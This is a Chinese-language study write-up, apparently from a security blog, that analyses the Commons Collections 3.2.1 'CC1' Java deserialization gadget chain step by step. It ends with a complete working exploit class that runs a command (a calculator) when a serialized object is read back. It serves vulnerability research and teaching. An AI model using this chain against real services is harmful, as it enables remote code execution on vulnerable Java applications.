cc系列学习视频参考b站 白日梦组长
环境下载
环境jdk 8u65
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
然后下载sun包,点击zip
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src文件夹中,默认有个src.zip 需要先解压
然后创建maven项目
把src文件加载进来
导入依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
然后下载源码
环境准备完成。
我这里就不过多解释cc链了
这里在唠叨一下,反序列化漏洞
这里借用白日梦组长的图
反序列化原理
反序列化的原理是,类实现Serializable接口,接收任意对象执行readObject方法。
那如何找漏洞点?
结合之前代码审计的思路,比如关键字寻找exec,然后查找 那个方法调用了exec函数,然后又是那个类调用了这个方法。
如下图
a方法执行了readObject,在方法中有个o方法又调用了aaa,查找aaa发现里面还有一个o2.xxx 最终找到exec危险函数。
反序列化中离不开的两个东西,一个是map集合,一个是反射。
如果对反射不太了解,可以参考之前的博文
命令执行的方式
分析之前,先捋一下,java中如何执行命令
常规命令执行
Runtime.getRuntime().exec("open -a calculator");
通过反射执行命令
ClassaClass = Runtime.class;
Runtime r = Runtime.getRuntime();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(r,"open -a calculator");
通过Transformer执行命令
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);
通过上面三种方式,是不是稍微好理解了。
漏洞分析之Transformer
那么就开始分析漏洞了,在CC1这条链中,Transformer是一个接口
而InvokerTransformer 实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):
这里就是反射调用的代码,传递的三个参数代入进来就是exec,r,calc
然后查找调用关系,这里可能有个疑问,那么多的的调用,为什么找最后一个,因为反序列化离不开map集合
这里的checkSetValue方法需要传入一个value,然后回调给Transformer
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
回找valueTransformer参数在哪里,这里用的protected修饰符,无法直接引用
关于 public private protected default也就是不写 他们四个的区别我这边简单阐述下
•default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。
•private : 在同一类内可见。使用对象:变量、方法。注意:不能修饰类(外部类)
•public : 对所有类可见。使用对象:类、接口、变量、方法
•protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。注意:不能修饰类(外部类)。
再接着找TransformedMap能够被调用访问的方法,这里有个decorate方法,传入map集合,在传入key和value。
那么就可以通过decorate方法进行调用,然后传入map集合,key为空,value为invokerTransformer。
相当于间接访问checkSetValue方法中的valueTransformer.transform,即 new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“open -a calculator”} ).transform(r);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMap<Object,Object> hashedMap = new HashMap();
TransformedMap.decorate(hashedMap,null,invokerTransformer);
然后再去找checkSetValue调用方法
MapEntry类中的setValue里面调用checkSetValue,这里需要设置一个value值,通过Map的for循环设置
中途代码验证
利用链完成了一半,尝试写代码进行验证
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMaphashedMap = new HashMap();
hashedMap.put("key","bbb");
Mapmap = TransformedMap.decorate(hashedMap, null, invokerTransformer);
for (Map.Entry entry:map.entrySet()){
entry.setValue(r);
}
打个断点可以看到,MapEntry中的键值对已经显示出来了
这里的checkSetValue也存在数据,说明刚才的分析是对的
最后到达漏洞点
寻找入口点
这里已经找到了setValue,完整的攻击链还差一步,寻找readObject
在sun.reflect.annotation下发现了readObject方法
遍历集合,获取key
查看最上面的代码
使用了class修饰 所以访问需要当前包下
构造方法传入两个参数,第一个是注解,第二个是map集合
刚好是符合上面构造的exp的参数,集合map
这里需要使用反射加载才能调用这个构造方法
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("key","bbb");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, invokerTransformer);
Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, map);
serializable(o);
unserializable("ser.bin");
大致是这样的,但是无法运行。
通过反射序列化Runtime类
反序列必须继承Serializable接口,Runtime 无法序列化
setValue的值无法控制
遍历map中需要绕过两个if判断
解决三个问题
先解决Runtime问题
虽然Runtime无法序列化,但是Class是可以序列化的
Runtime.class
所以代码如下
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"open -a calculator");
转换一下
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);
这里可以优化下,使用数组,有个类,这里的构造函数中里面传入数组即可
优化数组代码
Transformer[] transformer = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
最终代码
// 命令执行代码
Transformer[] transformer = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("key","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, map);
//序列化
serializable(o);
unserializable("ser.bin");
在解决if判断
这里两个if 分别是检测key中的value是否为空,第二个if是判断参数是否强转。
这里打个断点调试下
这里的memberType是传入的注解 Override,成员变量为空
这里的memberValue是map中的Override,通过这个Override寻找这个value,下一步后,直接跳出判断,
override是单独的接口,没有成员方法,这里换成其他注解 target
发现他有个成员方法,value
替换后重新断点,发现找到了参数
这里第二个if也成功绕过
然后就是第三个参数是否可控,点击setValue 进来,跳转到transformmap中的check方法,value为固定的,无法控制执行任意类
但在一开始查找transform,会有一个ClosureTransformer类,这里的transform传递的参数不论是什么,都会返回一个常量,因此通过这个进行覆盖。
原本调用valueTransformer.transform(Object),中途在换 ClosureTransformer.transform(Object) 只要最终调用到transform(Object)就可以执行任意类。
在数组中添加一下代码,把value替换为Runtime.class即可执行命令
new ConstantTransformer(Runtime.class)
现在屡屡,这就是最终的调用链,在最终调用transform的时候,用的是不同类的同名函数。
最终exp
package com.test.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception {
// 命令执行代码
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
serializable(o);
unserializable("ser.bin");
}
public static void serializable(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserializable(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
Method.invoke() Runtime.exec()
Ysoserial 用的是LazyMap,我们分析的是TransformedMap,中间稍微有点不太一样
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exe
总结
在学习CC链的时候,最主要的还是动手练习,哪怕跟着视频抄,也会有收获。
原文始发于微信公众号(轩公子谈技术):Commons Collections1 利用链分析笔记